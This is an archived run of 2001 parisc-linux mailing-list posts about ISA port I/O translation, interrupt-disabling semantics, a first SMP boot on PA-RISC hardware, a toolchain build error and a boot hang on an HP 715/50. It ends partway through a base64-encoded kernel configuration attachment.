Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619882 15798 80.91.229.3 (22 Nov 2014 01:31:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:22 +0000 (UTC)
Cc: 5116@telia.com, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 20 11:08:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.linuxcare.com (ottawa.linuxcare.com [216.208.98.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id C1F484A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 11:08:55 -0700 (MST)
Original-Received: by localhost.linuxcare.com (Postfix, from userid 501)
	id BBFE6529; Tue, 20 Feb 2001 14:10:27 -0800 (PST)
Original-Received: from localhost (localhost [127.0.0.1])
	by localhost.linuxcare.com (Postfix) with ESMTP
	id B53BCAB92; Tue, 20 Feb 2001 14:10:27 -0800 (PST)
X-Sender: dkennedy@localhost.localdomain
In-Reply-To: <200102201725.JAA16361@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10302

On Tue, 20 Feb 2001, Grant Grundler wrote:

> 5116@telia.com wrote:
> > Yes, most ISA devices have a probe list which the use when they are
> > compiled in, and if I use modules or a kernel command line option I 
> > want to be able to say io=0x388 when I have set the jumppers on the card
> > for that address.
> 
> The probe list is the problem. We can fixup th command line before
> the driver sees it.

ISA device drivers use inb and outb.  Isn't it possible to provide a ISA
specific inb/outb macro that does the appropriate translation?

-- 
David Kennedy, Technical Account Manager, Linuxcare, Inc.
613.562.9594 tel, 613.562.9304 fax
dkennedy@linuxcare.com, http://www.linuxcare.com/
Linuxcare.  Putting open source to work.






From - Thu Nov 08 21:16:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some progress with WAX_EISA (Who knows about int errupts?)
Date: Tue, 20 Feb 2001 10:32:19 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20010220103219.B31164@parcelfarce.linux.theplanet.co.uk>
References: <200102192341.AAA04190@zaphod.halden.lillfab.se> <200102201725.JAA16361@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619883 15799 80.91.229.3 (22 Nov 2014 01:31:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:23 +0000 (UTC)
Cc: 5116@telia.com, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 20 11:11:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 319EE4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 11:11:53 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14VGeB-0003Pd-00; Tue, 20 Feb 2001 10:32:19 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200102201725.JAA16361@milano.cup.hp.com>; from grundler@cup.hp.com on Tue, Feb 20, 2001 at 09:24:58AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10303

On Tue, Feb 20, 2001 at 09:24:58AM -0800, Grant Grundler wrote:
> Well, I still don't see what nosync does on a single CPU system.

Nothing.  Look at the x86 code:

void disable_irq(unsigned int irq)
{
        disable_irq_nosync(irq);

        if (!local_irq_count(smp_processor_id())) {
                do {
                        barrier();
                } while (irq_desc[irq].status & IRQ_INPROGRESS);
        }
}

if you're in an irq on a UP machine, then local_irq_count will be >0,
so it'll do nothing.  if you're not in an irq, then IRQ_INPROGRESS
can't possibly be set.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some progress with WAX_EISA (Who knows about int errupts?)
Date: Tue, 20 Feb 2001 10:51:12 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20010220105112.C31164@parcelfarce.linux.theplanet.co.uk>
References: <20010220002636.R899@parcelfarce.linux.theplanet.co.uk> <200102201745.JAA16411@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619883 15802 80.91.229.3 (22 Nov 2014 01:31:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:23 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 20 11:17:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A3994A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 11:17:40 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14VGwS-0003jK-00; Tue, 20 Feb 2001 10:51:12 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200102201745.JAA16411@milano.cup.hp.com>; from grundler@cup.hp.com on Tue, Feb 20, 2001 at 09:44:55AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10304

On Tue, Feb 20, 2001 at 09:44:55AM -0800, Grant Grundler wrote:
> Matthew Wilcox wrote:
> > i386 sets IRQ_INPROGRESS before it calls handle_IRQ_event and then
> > clears it after the interrupt handler returns.  I'm not sure whether
> > local interrupts are disabled at this point or not.  It might well be
> > an SMP issue.
> > 
> > I suspect we want to add IRQ_INPROGRESS to our interrupt handlers.
> 
> I think irqs_running() serves that purpose. no?

No.  irqs_running() tells us whether any irqs are in progress.  You have
to grab the global_irq_lock before you call it.  IRQ_INPROGRESS tells us
whether we're in the middle of servicing this particular interrupt.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some progress with WAX_EISA (Who knows about int errupts?)
Date: Tue, 20 Feb 2001 10:43:24 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <200102201843.KAA16582@milano.cup.hp.com>
References: <Pine.LNX.4.21.0102201409280.981-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619883 15808 80.91.229.3 (22 Nov 2014 01:31:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dkennedy <dkennedy@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 20 11:40:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id B04BB4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 11:40:40 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 149EB6FF; Tue, 20 Feb 2001 10:40:34 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA16582;
	Tue, 20 Feb 2001 10:43:25 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 20 Feb 2001 14:10:27 PST."
             <Pine.LNX.4.21.0102201409280.981-100000@localhost.localdomain> 
Xref: news.gmane.org gmane.linux.ports.parisc:10305

dkennedy wrote:
> ISA device drivers use inb and outb.  Isn't it possible to provide a ISA
> specific inb/outb macro that does the appropriate translation?

PITA. One has to make sure it (a) works together with definitions
in pci.h and (b) doesn't collide with definitions in pci.h.
Drivers which support devices on multiple busses (eg serial)
may not like it.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SMP: We have ignition
Date: Tue, 20 Feb 2001 12:07:09 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <20010220120709.E31164@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619884 15809 80.91.229.3 (22 Nov 2014 01:31:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:24 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 20 12:07:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A74A64A19
	for <parisc-linux@parisc-linux.org>; Tue, 20 Feb 2001 12:07:14 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14VI7x-0004zb-00
	for parisc-linux@parisc-linux.org; Tue, 20 Feb 2001 12:07:09 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10306

booting an SMP kernel with init=/bin/sh..

init-2.04# eth0: Setting full-duplex based on MII#1 link partner capability of .
pwd                                                                             
/                                                                               
init-2.04# cd home
init-2.04# pwd
/home
init-2.04# ls /
README          boot   etc     initrd   mnt   rr_moved  usr
README.INSTALL  cdrom  floppy  install  proc  sbin      var
bin             dev    home    lib      root  tmp       xc
init-2.04# mount -t proc proc proc
mount: mount point proc does not exist
init-2.04# mount -t proc proc /proc
init-2.04# cat /proc/cpuinfo
processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8500 (PCX-W)
cpu MHz         : 440.000000
model           : 9000/785/J5000
model name      : Forte W 2-way
hversion        : 0x00005bd0
sversion        : 0x00000491
I-cache         : 512 KB
D-cache         : 1024 KB (WB)
ITLB entries    : 160
DTLB entries    : 160 - shared with ITLB
BTLB            : not supported
bogomips        : 878.18
processor       : 1
cpu family      : PA-RISC 2.0
cpu             : PA8500 (PCX-W)
cpu MHz         : 440.000000
model           : 9000/785/J5000
model name      : Forte W 2-way
hversion        : 0x00005bd0
sversion        : 0x00000491
I-cache         : 512 KB
D-cache         : 1024 KB (WB)
ITLB entries    : 160
DTLB entries    : 160 - shared with ITLB
BTLB            : not supported
bogomips        : 878.18
init-2.04#

I just have one more little change I need to check in and it should
work for you too.

Don't expect it to be as stable as UP just yet, and if you try to compile
it 64-bit you will need the latest compiler (this is 32-bit, i haven't
actually tested 64-bit yet.)

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cannot build 02/18/2001 glibc
Date: Tue, 20 Feb 2001 14:23:06 -0500
Lines: 9
Approved: news@gmane.org
Message-ID: <3A92C41A.4B8808D4@neuronet.pitt.edu>
References: <Pine.LNX.4.21.0102191946290.23583-100000@front.linuxcare.com.au> 
	  <3A91479E.9C9EB68A@neuronet.pitt.edu> <20010220175938.6DE7B37C9D@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619884 15812 80.91.229.3 (22 Nov 2014 01:31:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:24 +0000 (UTC)
Cc: PL <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 20 12:34:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server1.neuronet.pitt.edu (server1.neuronet.pitt.edu [150.232.128.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB6AC4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 12:34:26 -0700 (MST)
Original-Received: from neuronet.pitt.edu (nsgp35005.neuronet.pitt.edu [150.232.129.88])
	by server1.neuronet.pitt.edu (8.8.8/8.8.8) with ESMTP id OAA19416
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 14:34:25 -0500 (EST)
Original-Sender: raffo@neuronet.pitt.edu
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-SMP i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10307

Yes, I had a build error trying to build the rest of GCC. I'll restart
the whole process again and follow your suggestion.

-- 

     Rafael




From - Thu Nov 08 21:16:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: WIES Nicolas <n.wies@wanadoo.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Help wanted on an 715/50 "old Box"
Date: Tue, 20 Feb 2001 23:22:07 +0100
Lines: 240
Approved: news@gmane.org
Message-ID: <01022023220701.01346@nw>
Reply-To: n.wies@wanadoo.fr
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="------------Boundary-00=_V4U2WJLBOHAAYC5JREJD"
X-Trace: ger.gmane.org 1416619884 15817 80.91.229.3 (22 Nov 2014 01:31:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 20 15:23:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (ca-ol-sqy-4-42.abo.wanadoo.fr [62.161.75.42])
	by dsl2.external.hp.com (Postfix) with SMTP id 80EB54A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 15:23:03 -0700 (MST)
Original-Received: (qmail 1381 invoked by uid 206); 20 Feb 2001 22:22:07 -0000
Original-Received: from localhost (HELO nw) (nw@127.0.0.1)
  by localhost with SMTP; 20 Feb 2001 22:22:07 -0000
X-Mailer: KMail [version 1.1.99]
Xref: news.gmane.org gmane.linux.ports.parisc:10308

--------------Boundary-00=_V4U2WJLBOHAAYC5JREJD
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 8bit

Hello all,

First I want to congratulate you for this great job.

I have an old Apollo, a 715/50 Scorpio with 64Mb Ram and a Tulip in the EISA 
port and my goal is to turn it into a firewall.

So, since September, every week I upgrade all sources via CVS, and I make a 
kernel and I try to boot. I try via rbootd or from a hard disk, with STI or 
with serial console.

But I never have a commplete boot.

>From the beginnig of the year, I don't remenber exactly when, I have the same 
message with this last lines:

Entry 00100170 first 00100000 n 5

Segment 0 load 00100000 size 1453916 mediaptr 0x1000
Segment 1 load 00264000 size 201128 mediaptr 0x164000
Segment 2 load 00298000 size 214428 mediaptr 0x196000
Segment 3 load 002d0000 size 8192 mediaptr 0x1cb000
Segment 4 load 002fbda8 size 71328 mediaptr 0x1cdda8
branching to kernel entry point 0x00100170


And nothing happen.

I don't understand where can be the problem because the kernel start to load, 
according to theses lines, and freeze.
My configuration is the last nfs-root for booting over the lan, and the 
esiee's fs_hd_sti.tar.gz for booting from the hard disk.
Both are configure for my lan.

Message for the esiee team : Can you add a date at your fs_hd_sti.tar.gz? 
Because we can't know how old is it.


With this message, you will find my .config

Thanks for the help,

	Nicolas

-- 
Adresse de rponse  / return address :
	n.wies@wanadoo.fr

:-)


--------------Boundary-00=_V4U2WJLBOHAAYC5JREJD
Content-Type: text/plain;
  name="config_2002"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="config_2002"

IwojIEF1dG9tYXRpY2FsbHkgZ2VuZXJhdGVkIGJ5IG1ha2UgbWVudWNvbmZpZzogZG9uJ3QgZWRp
dAojCkNPTkZJR19QQVJJU0MzMj15CkNPTkZJR19QQVJJU0M9eQojIENPTkZJR19VSUQxNiBpcyBu
b3Qgc2V0CgojCiMgQ29kZSBtYXR1cml0eSBsZXZlbCBvcHRpb25zCiMKQ09ORklHX0VYUEVSSU1F
TlRBTD15CgojCiMgTG9hZGFibGUgbW9kdWxlIHN1cHBvcnQKIwojIENPTkZJR19NT0RVTEVTIGlz
IG5vdCBzZXQKCiMKIyBHZW5lcmFsIG9wdGlvbnMKIwojIENPTkZJR19TTVAgaXMgbm90IHNldAoj
IENPTkZJR19LV0RCIGlzIG5vdCBzZXQKQ09ORklHX0dTQz15CkNPTkZJR19JT01NVV9DQ0lPPXkK
Q09ORklHX0dTQ19MQVNJPXkKQ09ORklHX0dTQ19XQVg9eQpDT05GSUdfUENJPXkKQ09ORklHX0dT
Q19ESU5PPXkKQ09ORklHX1BDSV9MQkE9eQpDT05GSUdfV0FYX0VJU0E9eQojIENPTkZJR19TVVBF
UklPIGlzIG5vdCBzZXQKQ09ORklHX0lPU0FQSUM9eQpDT05GSUdfSU9NTVVfU0JBPXkKQ09ORklH
X1BDSV9OQU1FUz15CkNPTkZJR19DSEFTU0lTX0xDRF9MRUQ9eQoKIwojIEdlbmVyYWwgc2V0dXAK
IwpDT05GSUdfSE9UUExVRz15CkNPTkZJR19ORVQ9eQpDT05GSUdfU1lTVklQQz15CiMgQ09ORklH
X0JTRF9QUk9DRVNTX0FDQ1QgaXMgbm90IHNldApDT05GSUdfU1lTQ1RMPXkKQ09ORklHX0tDT1JF
X0VMRj15CkNPTkZJR19CSU5GTVRfRUxGPXkKQ09ORklHX0JJTkZNVF9TT009eQojIENPTkZJR19C
SU5GTVRfTUlTQyBpcyBub3Qgc2V0CiMgQ09ORklHX1BNIGlzIG5vdCBzZXQKCiMKIyBQYXJhbGxl
bCBwb3J0IHN1cHBvcnQKIwpDT05GSUdfUEFSUE9SVD15CiMgQ09ORklHX1BBUlBPUlRfUEMgaXMg
bm90IHNldAojIENPTkZJR19QQVJQT1JUX0FNSUdBIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFSUE9S
VF9NRkMzIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFSUE9SVF9BVEFSSSBpcyBub3Qgc2V0CkNPTkZJ
R19QQVJQT1JUX0dTQz15CiMgQ09ORklHX1BBUlBPUlRfU1VOQlBQIGlzIG5vdCBzZXQKIyBDT05G
SUdfUEFSUE9SVF9PVEhFUiBpcyBub3Qgc2V0CiMgQ09ORklHX1BBUlBPUlRfMTI4NCBpcyBub3Qg
c2V0CgojCiMgQmxvY2sgZGV2aWNlcwojCiMgQ09ORklHX0JMS19ERVZfRkQgaXMgbm90IHNldAoj
IENPTkZJR19CTEtfREVWX1hEIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFSSURFIGlzIG5vdCBzZXQK
IyBDT05GSUdfQkxLX0NQUV9EQSBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19DUFFfQ0lTU19EQSBp
cyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfREFDOTYwIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxL
X0RFVl9MT09QIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9OQkQgaXMgbm90IHNldApDT05G
SUdfQkxLX0RFVl9SQU09eQpDT05GSUdfQkxLX0RFVl9SQU1fU0laRT00MDk2CkNPTkZJR19CTEtf
REVWX0lOSVRSRD15CgojCiMgTXVsdGktZGV2aWNlIHN1cHBvcnQgKFJBSUQgYW5kIExWTSkKIwoj
IENPTkZJR19NRCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfTUQgaXMgbm90IHNldAojIENP
TkZJR19NRF9MSU5FQVIgaXMgbm90IHNldAojIENPTkZJR19NRF9SQUlEMCBpcyBub3Qgc2V0CiMg
Q09ORklHX01EX1JBSUQxIGlzIG5vdCBzZXQKIyBDT05GSUdfTURfUkFJRDUgaXMgbm90IHNldAoj
IENPTkZJR19CTEtfREVWX0xWTSBpcyBub3Qgc2V0CiMgQ09ORklHX0xWTV9QUk9DX0ZTIGlzIG5v
dCBzZXQKCiMKIyBOZXR3b3JraW5nIG9wdGlvbnMKIwojIENPTkZJR19QQUNLRVQgaXMgbm90IHNl
dAojIENPTkZJR19ORVRMSU5LIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVURklMVEVSIGlzIG5vdCBz
ZXQKIyBDT05GSUdfRklMVEVSIGlzIG5vdCBzZXQKQ09ORklHX1VOSVg9eQpDT05GSUdfSU5FVD15
CiMgQ09ORklHX0lQX01VTFRJQ0FTVCBpcyBub3Qgc2V0CiMgQ09ORklHX0lQX0FEVkFOQ0VEX1JP
VVRFUiBpcyBub3Qgc2V0CiMgQ09ORklHX0lQX1BOUCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9J
UElQIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX0lQR1JFIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5F
VF9FQ04gaXMgbm90IHNldAojIENPTkZJR19TWU5fQ09PS0lFUyBpcyBub3Qgc2V0CiMgQ09ORklH
X0lQVjYgaXMgbm90IHNldAojIENPTkZJR19LSFRUUEQgaXMgbm90IHNldAojIENPTkZJR19BVE0g
aXMgbm90IHNldAojIENPTkZJR19JUFggaXMgbm90IHNldAojIENPTkZJR19BVEFMSyBpcyBub3Qg
c2V0CiMgQ09ORklHX0RFQ05FVCBpcyBub3Qgc2V0CiMgQ09ORklHX0JSSURHRSBpcyBub3Qgc2V0
CiMgQ09ORklHX1gyNSBpcyBub3Qgc2V0CiMgQ09ORklHX0xBUEIgaXMgbm90IHNldAojIENPTkZJ
R19MTEMgaXMgbm90IHNldAojIENPTkZJR19ORVRfRElWRVJUIGlzIG5vdCBzZXQKIyBDT05GSUdf
RUNPTkVUIGlzIG5vdCBzZXQKIyBDT05GSUdfV0FOX1JPVVRFUiBpcyBub3Qgc2V0CiMgQ09ORklH
X05FVF9GQVNUUk9VVEUgaXMgbm90IHNldAojIENPTkZJR19ORVRfSFdfRkxPV0NPTlRST0wgaXMg
bm90IHNldAoKIwojIFFvUyBhbmQvb3IgZmFpciBxdWV1ZWluZwojCiMgQ09ORklHX05FVF9TQ0hF
RCBpcyBub3Qgc2V0CgojCiMgU0NTSSBzdXBwb3J0CiMKQ09ORklHX1NDU0k9eQpDT05GSUdfQkxL
X0RFVl9TRD15CkNPTkZJR19TRF9FWFRSQV9ERVZTPTQwCkNPTkZJR19DSFJfREVWX1NUPXkKIyBD
T05GSUdfQ0hSX0RFVl9PU1NUIGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVZfU1I9eQojIENPTkZJ
R19CTEtfREVWX1NSX1ZFTkRPUiBpcyBub3Qgc2V0CkNPTkZJR19TUl9FWFRSQV9ERVZTPTIKQ09O
RklHX0NIUl9ERVZfU0c9eQojIENPTkZJR19TQ1NJX0RFQlVHX1FVRVVFUyBpcyBub3Qgc2V0CiMg
Q09ORklHX1NDU0lfTVVMVElfTFVOIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9DT05TVEFOVFMg
aXMgbm90IHNldAojIENPTkZJR19TQ1NJX0xPR0dJTkcgaXMgbm90IHNldAoKIwojIFNDU0kgbG93
LWxldmVsIGRyaXZlcnMKIwojIENPTkZJR19CTEtfREVWXzNXX1hYWFhfUkFJRCBpcyBub3Qgc2V0
CiMgQ09ORklHX1NDU0lfNzAwMEZBU1NUIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BQ0FSRCBp
cyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQUhBMTUyWCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lf
QUhBMTU0MiBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQUhBMTc0MCBpcyBub3Qgc2V0CiMgQ09O
RklHX1NDU0lfQUlDN1hYWCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQURWQU5TWVMgaXMgbm90
IHNldAojIENPTkZJR19TQ1NJX0lOMjAwMCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQU01M0M5
NzQgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX01FR0FSQUlEIGlzIG5vdCBzZXQKIyBDT05GSUdf
U0NTSV9CVVNMT0dJQyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQ1BRRkNUUyBpcyBub3Qgc2V0
CiMgQ09ORklHX1NDU0lfRE1YMzE5MUQgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0RUQzMyODAg
aXMgbm90IHNldAojIENPTkZJR19TQ1NJX0VBVEEgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0VB
VEFfRE1BIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9FQVRBX1BJTyBpcyBub3Qgc2V0CiMgQ09O
RklHX1NDU0lfRlVUVVJFX0RPTUFJTiBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfR0RUSCBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NDU0lfR0VORVJJQ19OQ1I1MzgwIGlzIG5vdCBzZXQKQ09ORklHX1ND
U0lfTEFTST15CkNPTkZJR19TQ1NJX1pBTE9OPXkKIyBDT05GSUdfU0NTSV9JTklUSU8gaXMgbm90
IHNldAojIENPTkZJR19TQ1NJX0lOSUExMDAgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1BQQSBp
cyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfSU1NIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9OQ1I1
M0M0MDZBIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9OQ1I1M0M3eHggaXMgbm90IHNldAojIENP
TkZJR19TQ1NJX05DUjUzQzhYWCBpcyBub3Qgc2V0CkNPTkZJR19TQ1NJX1NZTTUzQzhYWD15CkNP
TkZJR19TQ1NJX05DUjUzQzhYWF9ERUZBVUxUX1RBR1M9OApDT05GSUdfU0NTSV9OQ1I1M0M4WFhf
TUFYX1RBR1M9MzIKQ09ORklHX1NDU0lfTkNSNTNDOFhYX1NZTkM9MjAKIyBDT05GSUdfU0NTSV9O
Q1I1M0M4WFhfUFJPRklMRSBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfTkNSNTNDOFhYX0lPTUFQ
UEVEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9OQ1I1M0M4WFhfUFFTX1BEUyBpcyBub3Qgc2V0
CiMgQ09ORklHX1NDU0lfTkNSNTNDOFhYX1NZTUJJT1NfQ09NUEFUIGlzIG5vdCBzZXQKIyBDT05G
SUdfU0NTSV9QQVMxNiBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfUENJMjAwMCBpcyBub3Qgc2V0
CiMgQ09ORklHX1NDU0lfUENJMjIyMEkgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1BTSTI0MEkg
aXMgbm90IHNldAojIENPTkZJR19TQ1NJX1FMT0dJQ19GQVMgaXMgbm90IHNldAojIENPTkZJR19T
Q1NJX1FMT0dJQ19JU1AgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1FMT0dJQ19GQyBpcyBub3Qg
c2V0CiMgQ09ORklHX1NDU0lfUUxPR0lDXzEyODAgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1NJ
TTcxMCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfU1lNNTNDNDE2IGlzIG5vdCBzZXQKIyBDT05G
